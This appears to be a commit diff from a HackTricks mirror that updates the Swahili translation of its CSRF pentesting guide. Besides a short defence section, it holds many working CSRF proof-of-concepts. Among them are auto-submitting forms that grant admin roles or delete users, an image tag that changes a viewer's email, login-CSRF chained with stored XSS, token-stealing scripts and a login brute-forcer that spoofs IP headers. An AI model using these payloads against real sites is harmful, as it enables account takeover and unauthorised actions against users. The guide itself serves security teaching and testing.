maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

Browse Source
This commit is contained in:
Translator 2025-09-29 22:35:14 +00:00
parent b0e7b4517b
commit 3c943c3cb0
2 changed files with 166 additions and 76 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

241
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,51 +2,58 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Explained
## Cross-Site Request Forgery (CSRF) Imefafanuliwa
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama inayopatikana katika web applications. Inaruhusu watapeli kufanya vitendo kwa niaba ya watumiaji wasiofahamu kwa kutumia vikao vyao vilivyoidhinishwa. Shambulio hufanyika wakati mtumiaji aliyeingia kwenye jukwaa la mwathirika anapotembelea tovuti yenye madhara. Tovuti hii kisha inaanzisha maombi kwa akaunti ya mwathirika kupitia njia kama kutekeleza JavaScript, kutuma forms, au kupakua images.
**Cross-Site Request Forgery (CSRF)** ni aina ya udhaifu wa usalama unaopatikana katika web applications. Inamfaa mshambuliaji kufanya vitendo kwa niaba ya watumiaji wasio na wazo kwa kutumia vikao vyao vilivyothibitishwa. Shambulio hufanyika wakati mtumiaji, ambaye ameingia kwenye jukwaa la mwathiri, anapotembelea tovuti hasidi. Tovuti hii basi inasababisha requests kwa akaunti ya mwathiri kupitia njia kama kutekeleza JavaScript, kuwasilisha forms, au ku-fetch images.
### Prerequisites for a CSRF Attack
### Masharti ya awali kwa Shambulio la CSRF
Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kukidhiwa:
Ili kuchochea udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:
1. **Identify a Valuable Action**: Mshambuliaji anahitaji kupata kitendo chenye thamani ya kuchukuliwa, kama kubadilisha nywila (password) ya mtumiaji, barua pepe (email), au kuongeza privileges.
2. **Session Management**: Kikao cha mtumiaji kinapaswa kusimamiwa tu kupitia cookies au header ya HTTP Basic Authentication, kwani headers nyingine haziwezi kudhibitiwa kwa madhumuni haya.
3. **Absence of Unpredictable Parameters**: Ombi halipaswi kuwa na vigezo visivyo tabirika (unpredictable parameters), kwani vinaweza kuzuia shambulio.
1. **Tambua Kitendo chenye Thamani**: Mshambuliaji anahitaji kupata kitendo cha thamani cha kutumika, kama kubadilisha nywila ya mtumiaji, barua pepe, au kuongeza vibali (elevating privileges).
2. **Session Management**: Kikao cha mtumiaji kinapaswa kusimamiwa kabisa kupitia cookies au HTTP Basic Authentication header, kwani headers nyingine haziwezi kutumiwa kwa madhumuni haya.
3. **Ukosefu wa Vigezo Visivyotabirika**: Ombi halipaswi kuwa na vigezo visivyotabirika, kwani vinaweza kuzuia shambulio.
### Quick Check
### Ukaguzi wa Haraka
Unaweza **capture the request in Burp** na kukagua ulinzi wa CSRF; pia kwa kujaribu kutoka kivinjari unaweza kubofya **Copy as fetch** na kukagua ombi:
Unaweza **capture the request in Burp** na kuangalia ulinzi wa CSRF; kwa kujaribu kutoka kwenye browser unaweza kubofya **Copy as fetch** na kuangalia ombi:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Defending Against CSRF
### Kujilinda Dhidi ya CSRF
Mbinu kadhaa za kujikinga zinaweza kutumika kuzuia mashambulio ya CSRF:
Hatua kadhaa za kujikinga zinaweza kutumika kuzuia shambulio la CSRF:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Sifa hii inazuia kivinjari kutuma cookies pamoja na maombi ya cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma response kutoka tovuti ya mwathirika. [Learn about CORS bypass](cors-bypass.md).
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Attribute hii inazuia browser kutuma cookies pamoja na cross-site requests. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathiri inaweza kuathiri uwezekano wa shambulio, hasa kama shambulio linahitaji kusoma response kutoka kwa tovuti ya mwathiri. [Learn about CORS bypass](cors-bypass.md).
- **User Verification**: Kuomba nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
- **Checking Referrer or Origin Headers**: Kuthibitisha headers hizi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyoaminika. Hata hivyo, uundaji makini wa URL unaweza kuepuka ukaguzi usiofanywa vizuri, kama vile:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Modifying Parameter Names**: Kubadilisha majina ya vigezo katika POST au GET requests kunaweza kusaidia kuzuia mashambulizi yaliyopangwa.
- **CSRF Tokens**: Kuingiza token ya CSRF ya kipekee katika kila session na kuhitaji token hii katika maombi ya baadaye kunaweza kupunguza kwa kiasi kikubwa hatari ya CSRF. Ufanisi wa token unaweza kuongezwa kwa kutekeleza CORS.
- **Checking Referrer or Origin Headers**: Kuthibitisha headers hizi kunaweza kusaidia kuhakikisha requests zinatoka vyanzo vinavyoaminika. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupitisha ukaguzi duni, kama:
- Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL ya kuaminika)
- Kutumia `http://example.com.mal.net` (URL inaanza na URL ya kuaminika)
- **Modifying Parameter Names**: Kubadilisha majina ya parameta katika POST au GET requests kunaweza kusaidia kuzuia mashambulio ya kiotomatiki.
- **CSRF Tokens**: Kuingiza CSRF token ya kipekee katika kila session na kuhitaji token hii katika requests zinazofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuboreshwa kwa kuutekeleza pamoja na CORS.
Kuelewa na kutekeleza kinga hizi ni muhimu kwa kudumisha usalama na uadilifu wa web applications.
Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uadilifu wa web applications.
## Defences Bypass
#### Makosa ya kawaida katika ulinzi
### From POST to GET (method-conditioned CSRF validation bypass)
- SameSite pitfalls: `SameSite=Lax` bado inaruhusu top-level cross-site navigations kama links na form GETs, hivyo CSRF nyingi zinazotegemea GET zinaendelea kuwa za uwezekano. Angalia cookie matrix katika [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: Thibitisha `Origin` unapopatikana; ikiwa zote `Origin` na `Referer` hazipo, kata kwa kufeli (fail closed). Usitegemee substring/regex matches ya `Referer` ambayo yanaweza kupitishwa kwa domains zinazoiga au URL zilizotengenezwa, na kumbuka trick ya suppression `meta name="referrer" content="never"`.
- Method overrides: Tenda kwa kuzingatia methods zilizopitishwa (`_method` au override headers) kama zinazobadilisha state na utekeleze CSRF kwa method yenye ufanisi, sio tu kwa POST.
- Login flows: Weka ulinzi wa CSRF hata kwenye login; vinginevyo, login CSRF inaruhusu kuanzisha tena uthibitisho (forced re-authentication) kwenye akaunti zinazodhibitiwa na mshambuliaji, ambazo zinaweza kuunganishwa na stored XSS.
Baadhi ya applications zinatekeleza uthibitishaji wa CSRF tu kwa POST huku zikiruhusu verbs nyingine bila kuthibitisha. Anti-pattern ya kawaida katika PHP inaonekana kama:
## Kupita kwa Ulinzi
### Kutoka POST hadi GET (method-conditioned CSRF validation bypass)
Baadhi ya maombi ya wavuti huhukumu uthibitisho wa CSRF tu kwa POST huku zikiiacha kwa verbs nyingine. Anti-pattern ya kawaida katika PHP inaonekana kama:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Ikiwa endpoint iliyoko dhaifu inakubali pia vigezo kutoka $_REQUEST, unaweza kuanzisha tena hatua ileile kama ombi la GET na kuondoa kabisa CSRF token. Hii inabadilisha kitendo kilichokengeuzwa kwa POST kuwa kitendo cha GET kinachofanikiwa bila token.
Ikiwa endpoint yenye udhaifu pia inakubali vigezo kutoka $_REQUEST, unaweza kuomba tena hatua ile ile kama ombi la GET na kuacha token ya CSRF kabisa. Hii inabadilisha hatua iliyokuwa kwa POST tu kuwa hatua ya GET ambayo inafanikiwa bila token.
Example:
@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
```
Notes:
- Mfumo huu mara nyingi huonekana pamoja na reflected XSS ambapo majibu hutumwa vibaya kama text/html badala ya application/json.
- Kuunganisha hili na XSS kunapunguza sana vizingiti vya unyonyaji kwa sababu unaweza kuwasilisha kiungo kimoja cha GET kinachosababisha njia ya msimbo iliyo dhaifu na pia kuepuka ukaguzi wa CSRF kabisa.
- Muundo huu mara nyingi hujitokeza pamoja na reflected XSS ambapo majibu hutolewa kwa njia isiyo sahihi kama text/html badala ya application/json.
- Kujumuisha hili na XSS kunapunguza vizingiti vya utekaji wa udhaifu kwa kiasi kikubwa kwa sababu unaweza kutoa kiungo kimoja cha GET ambacho kinachochea njia ya msimbo yenye udhaifu na pia kinazuia ukaguzi wa CSRF kabisa.
### Lack of token
### Ukosefu wa token
Programu zinaweza kutekeleza utaratibu wa **thibitisha tokens** wakati zinapokuwepo. Hata hivyo, udhaifu unatokea ikiwa uthibitishaji unarukwa kabisa wakati token haipo. Wadukuzi wanaweza kuchukua fursa ya hili kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawaruhusu kupita kwenye mchakato wa uthibitishaji na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
Maombi yanaweza kutekeleza utaratibu wa **kuthibitisha tokens** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uhakiki unarukwa kabisa wakati token haipo. Wavamizi wanaweza kufaidika na hili kwa **kuondoa parameter** inayobeba token, sio tu thamani yake. Hii inawawezesha kupita mchakato wa uhakiki na kufanya Cross-Site Request Forgery (CSRF) attack kwa ufanisi.
### CSRF token is not tied to the user session
Zaidi ya hayo, baadhi ya utekelezaji huchunguza tu kwamba parameter ipo lakini hawauhakiki yaliyomo yake, hivyo **thamani tupu ya token inakubaliwa**. Katika hali hiyo, kutuma tu ombi lenye `csrf=` inatosha:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Programu zinazokosa **kufunga CSRF tokens kwa sessions za watumiaji** zinaonyesha hatari kubwa ya **usalama**. Mifumo hii inathibitisha tokens dhidi ya **global pool** badala ya kuhakikisha kila token imefungwa kwa session iliilochochea.
username=guest&role=admin&csrf=
```
PoC ndogo inayojituma kiotomatiki (kuficha urambazaji kwa history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token haifungwi kwa kikao cha mtumiaji
Hivi ndivyo wadukuzi wanavyofaidika na hili:
Maombi ambayo **hayayafunga CSRF tokens kwa kikao cha mtumiaji** yanaleta tishio kubwa la **usalama**. Mifumo hii huhakiki token dhidi ya **global pool** badala ya kuhakikisha kila token imefungwa kwa kikao kilichoiweka.
1. **Jithibitishie** kwa kutumia akaunti yao.
2. **Pata CSRF token halali** kutoka global pool.
3. **Tumia token hii** katika shambulio la CSRF dhidi ya mhanga.
Hivyo ndivyo wanaovamia wanavyotumia hii:
Udhaifu huu unawawezesha wadukuzi kufanya maombi yasiyoruhusiwa kwa niaba ya mhanga, kwa kuchukua faida ya **utaratibu usiofaa wa uthibitishaji wa token**.
1. **Thibitisha** kwa kutumia akaunti yao wenyewe.
2. **Pata CSRF token halali** kutoka kwa global pool.
3. **Tumia token hii** katika CSRF attack dhidi ya mwathiri.
### Method bypass
Udhaifu huu unawawezesha wanaovamia kutuma maombi yasiyoruhusiwa kwa niaba ya mwathiri, wakitumia mfumo duni wa **uthibitishaji wa token** wa programu.
Ikiwa ombi linatumia "**weird**" **method**, angalia kama **method override functionality** inafanya kazi. Kwa mfano, ikiwa inatumia **PUT** method unaweza kujaribu **kutumia POST** method na **kutuma**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
### Kupitisha method
Hii pia inaweza kufanya kazi kwa kutuma **\_method parameter inside the a POST request** au kwa kutumia **headers**:
Ikiwa ombi linatumia a "**weird**" **method**, angalia kama utendaji wa **method override** unafanya kazi. Kwa mfano, ikiwa linatumia **PUT/DELETE/PATCH** method unaweza kujaribu kutumia a **POST** na kutuma override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
Hii pia inaweza kufanya kazi kwa kutuma **`_method` parameter inside a POST body** au kwa kutumia override **headers**:
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Inatokea mara kwa frameworks kama **Laravel**, **Symfony**, **Express**, na wengine. Wabuni mara nyingine hupitisha CSRF kwenye verbs zisizo za POST kwa kudhani browsers hawawezi kuzituma; kwa overrides, bado unaweza kufikia handlers hizo kupitia POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
Ikiwa ombi linaongeza a **custom header** yenye **token** kwenye ombi kama **CSRF protection method**, basi:
Ikiwa ombi linaongeza **custom header** yenye **token** kwenye ombi kama **CSRF protection method**, basi:
- Jaribu ombi bila **Customized Token and also header.**
- Jaribu ombi kwa **ule ule urefu lakini token tofauti**.
- Jaribu ombi bila **Customized Token** na bila header.
- Jaribu ombi lenye urefu sawa kabisa lakini na **same length but different token**.
### CSRF token is verified by a cookie
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na pia parameter ya ombi au kwa kuweka CSRF cookie na kuthibitisha kama token iliyotumwa kwa backend inaendana na cookie. Programu inathibitisha maombi kwa kuangalia kama token katika parameter ya ombi inalingana na thamani ya cookie.
Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuzidisha token katika cookie na request parameter, au kwa kuweka CSRF cookie na kuthibitisha kama token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kukagua kama token kwenye request parameter inaendana na thamani iliyoko kwenye cookie.
Hata hivyo, njia hii ni nyeti kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazoruhusu mshambuliaji kuweka CSRF cookie katika kivinjari cha mhanga, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF.
Hata hivyo, njia hii inaweza kuathiriwa na CSRF attacks ikiwa tovuti ina dosari zinazomruhusu mshambuliaji kuweka CSRF cookie katika browser ya mwanaathiriwa, kama CRLF vulnerability. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya kudanganya inayoweka cookie, kisha kuanzisha CSRF attack.
Chini ni mfano wa jinsi shambulio linaweza kujengwa:
Chini kuna mfano wa jinsi shambulio linaweza kuundwa:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Kumbuka kwamba ikiwa **csrf token is related with the session cookie this attack won't work** kwa sababu utahitaji kumtumia victim session yako, na kwa hivyo utakuwa unamshambulia wewe mwenyewe.
> Kumbuka kwamba ikiwa **csrf token imehusishwa na session cookie, attack hii haitafanya kazi** kwa sababu utahitaji kuweka session yako kwa victim, na kwa hivyo utakuwa unamshambulia mwenyewe.
### Mabadiliko ya Content-Type
Kwa mujibu wa [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), ili kuepuka **preflight** requests zinapotumia method ya **POST**, haya ni maadili ya Content-Type yaliyoruhusiwa:
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Hata hivyo, kumbuka kwamba **mantiki ya seva inaweza kutofautiana** kulingana na **Content-Type** inayotumika, hivyo unapaswa kujaribu maadili yaliyotajwa na mengine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Hata hivyo, kumbuka kwamba **mantiki za server zinaweza kutofautiana** kulingana na **Content-Type** inayotumika, hivyo unapaswa kujaribu maadili yaliyotajwa na mengine kama **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Mfano (from [here](https://brycec.me/posts/corctf_2021_challenges)) wa kutuma data ya JSON kama text/plain:
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
```html
<html>
<body>
@ -162,23 +209,23 @@ form.submit()
</body>
</html>
```
### Kuepuka Maombi ya Preflight kwa Data ya JSON
### Kupita Maombi ya Preflight kwa Data ya JSON
Unapojaribu kutuma data ya JSON kupitia POST request, kutumia `Content-Type: application/json` katika fomu ya HTML siyo moja kwa moja inawezekana. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui kunaanzisha preflight request. Hata hivyo, kuna mbinu zinazoweza kujaribu kuepuka kikomo hiki na kuangalia kama server inasindika data ya JSON bila kujali Content-Type:
Wakati unajaribu kutuma data ya JSON kupitia POST request, kutumia `Content-Type: application/json` katika HTML form si uwezekano moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya content kutaanzisha preflight request. Hata hivyo, kuna mbinu zinazoweza kupitisha kikomo hiki na kuangalia ikiwa server inachakata data ya JSON bila kujali Content-Type:
1. **Tumia Aina Mbadala za Content-Type**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` kwenye fomu. Njia hii inajaribu kama backend inatumia data bila kujali Content-Type.
2. **Badilisha Content Type**: Ili kuepuka preflight request wakati ukihakikisha server inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haitasababisha preflight request lakini inaweza kushughulikiwa ipasavyo na server ikiwa imewekwa kukubali `application/json`.
3. **Matumizi ya faili za SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash kuepuka vikwazo hivi. Kwa ufahamu wa kina wa mbinu hii, rejea [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Tumia Aina mbadala za Content-Type**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` kwenye form. Mbinu hii inajaribu ikiwa backend inatumia data bila kujali Content-Type.
2. **Badilisha Content Type**: Ili kuepuka preflight request huku ukihakikisha server inatambua content kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haitasababisha preflight request lakini inaweza kuchakatwa ipasavyo na server ikiwa imewekwa kukubali `application/json`.
3. **Kutumia faili SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana ni kutumia SWF flash file kupita vikwazo hivyo. Kwa ufahamu wa kina wa mbinu hii, rejea [chapisho hiki](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Kuepuka ukaguzi wa Referrer / Origin
### Kukwepa ukaguzi wa Referrer / Origin
**Epuka header ya Referer**
**Epuka header ya Referrer**
Maombi yanaweza kuthibitisha header ya 'Referer' tu pale inapokuwepo. Ili kuzuia browser kutuma header hii, tagu ya meta ya HTML ifuatayo inaweza kutumika:
Applications zinaweza kuthibitisha header ya 'Referer' tu wakati inapoonekana. Ili kuzuia browser kutuma header hii, tagi ya meta ya HTML ifuatayo inaweza kutumika:
```xml
<meta name="referrer" content="never">
```
Hii inahakikisha kuwa 'Referer' header haipo, na hivyo inaweza kupitisha ukaguzi wa uthibitisho katika baadhi ya programu.
Hii inahakikisha header ya 'Referer' haijumuishwi, na inaweza kuvuka ukaguzi wa uthibitisho katika baadhi ya programu.
**Regexp bypasses**
@ -187,7 +234,7 @@ Hii inahakikisha kuwa 'Referer' header haipo, na hivyo inaweza kupitisha ukaguzi
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Ili kuweka jina la kikoa la server katika URL ambalo Referrer atalituma ndani ya parameta, unaweza kufanya:
Ili kuweka jina la domaini la server kwenye URL ambayo Referrer atatumia kutuma ndani ya parametri, unaweza kufanya:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -218,15 +265,50 @@ document.forms[0].submit()
```
### **HEAD method bypass**
Sehemu ya kwanza ya [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaeleza kwamba [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa ili **handle HEAD requests as GET requests** bila response body - workaround ya kawaida ambayo sio ya Oak pekee. Badala ya handler maalum inayoshughulikia HEAD reqs, zinapelekwa tu kwa **GET handler** lakini app inafuta response body.
Sehemu ya kwanza ya [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa ili **handle HEAD requests as GET requests** bila response body - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya handler maalum anayeshughulikia HEAD reqs, zinapewa tu **to the GET handler but the app just removes the response body**.
Kwa hiyo, ikiwa GET request inazuiliwa, unaweza tu **send a HEAD request that will be processed as a GET request**.
Kwa hiyo, ikiwa ombi la GET limezuiwa, unaweza tu **send a HEAD request that will be processed as a GET request**.
## **Exploit Examples**
### Stored CSRF via user-generated HTML
Wakati rich-text editors au HTML injection zinaruhusiwa, unaweza kuhifadhi passive fetch inayofanya hit kwa vulnerable GET endpoint. Mtumiaji yeyote anayeyeangalia yaliyomo ataenda kutekeleza ombi hilo moja kwa moja akiwa na cookies zake.
- Ikiwa app inatumia global CSRF token ambayo haifungwa kwa user session, token ile ile inaweza kufanya kazi kwa watumiaji wote, na kufanya stored CSRF iwe ya kuaminika kwa waathiriwa wengi.
Minimal example that changes the viewer’s email when loaded:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF iliyofungamana na stored XSS
Login CSRF peke yake inaweza kuwa na athari ndogo, lakini kuichain na authenticated stored XSS kunakuwa na nguvu: lazimisha mwathirika kuingia kwenye akaunti inayodhibitiwa na mshambulizi; mara ukiwa katika muktadha huo, stored XSS kwenye ukurasa uliothibitishwa itatekelezwa na inaweza kuiba tokens, hijack session, au escalate privileges.
- Hakikisha login endpoint inaweza kufanywa CSRF (hakuna per-session token au origin check) na hakuna vizuizi vya mwingiliano wa mtumiaji vinavyokuzuia.
- Baada ya forced login, elekeza moja kwa moja kwenye ukurasa unaoonyesha payload ya stored XSS ya mshambulizi.
PoC ndogo ya login-CSRF:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltrating CSRF Token**
Ikiwa **CSRF token** inatumiwa kama **defence** unaweza kujaribu **exfiltrate it** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
Ikiwa **CSRF token** inatumiwa kama **defence**, unaweza kujaribu **exfiltrate it** ukitumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
### **GET using HTML tags**
```xml
@ -234,7 +316,7 @@ Ikiwa **CSRF token** inatumiwa kama **defence** unaweza kujaribu **exfiltrate it
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Tagi nyingine za HTML5 ambazo zinaweza kutumika kutuma ombi la GET moja kwa moja ni:
Vitagizo vingine vya HTML5 vinavyoweza kutumika kutuma ombi la GET kiotomatiki ni:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -263,7 +345,7 @@ background: url("...");
</video>
</audio>
```
### Ombi la Fomu GET
### Ombi la GET la fomu
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -281,7 +363,7 @@ document.forms[0].submit()
</body>
</html>
```
### Ombi la POST la fomu
### Ombi la POST ya Fomu
```html
<html>
<body>
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Ombi la POST la fomu kupitia iframe
### Ombi la Form POST kupitia iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -332,7 +414,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Ajax POST request**
### **Ombi la POST la Ajax**
```html
<script>
var xh
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST ombi v2
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Ombi la POST la fomu kutoka ndani ya iframe
### Form POST request kutoka ndani ya iframe
```html
<--! expl.html -->
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Kuwaiba CSRF Token na tuma POST request**
### **Kuiba CSRF Token na kutuma POST request**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Kuiba CSRF Token na kutuma Post request kwa kutumia iframe, form na Ajax**
### **Pora CSRF Token na tuma ombi la Post ukitumia iframe, form na Ajax**
```html
<form
id="form1"
@ -534,7 +616,7 @@ document.forms[0].submit.click()
}
</script>
```
### **Kunyang'anya token na kuituma ukitumia 2 iframes**
### **Iba token na uitume kwa kutumia iframes 2**
```html
<script>
var token;
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token kwa Ajax na tuma post kwa form**
### **POSTSteal token ya CSRF kwa kutumia Ajax na kutuma POST kwa fomu**
```html
<body onload="getData()">
<form
@ -617,7 +699,7 @@ room: username,
```
## CSRF Login Brute Force
Msimbo unaweza kutumika kufanya Brute Force kwenye fomu ya login kwa kutumia token ya CSRF (Pia inatumia header X-Forwarded-For kujaribu kuipita blacklisting ya IP inayowezekana):
The code inaweza kutumika kufanya Brut Force kwenye fomu ya login kwa kutumia CSRF token (Pia inatumia header X-Forwarded-For kujaribu kupitisha IP blacklisting):
```python
import request
import re
@ -665,13 +747,20 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional – Tengeneza CSRF PoCs](https://portswigger.net/burp)
## Marejeo
## Marejeleo
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Mwongozo kamili kwa udhaifu za CSRF (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: maabara za CSRF](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: maabara za vitendo](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}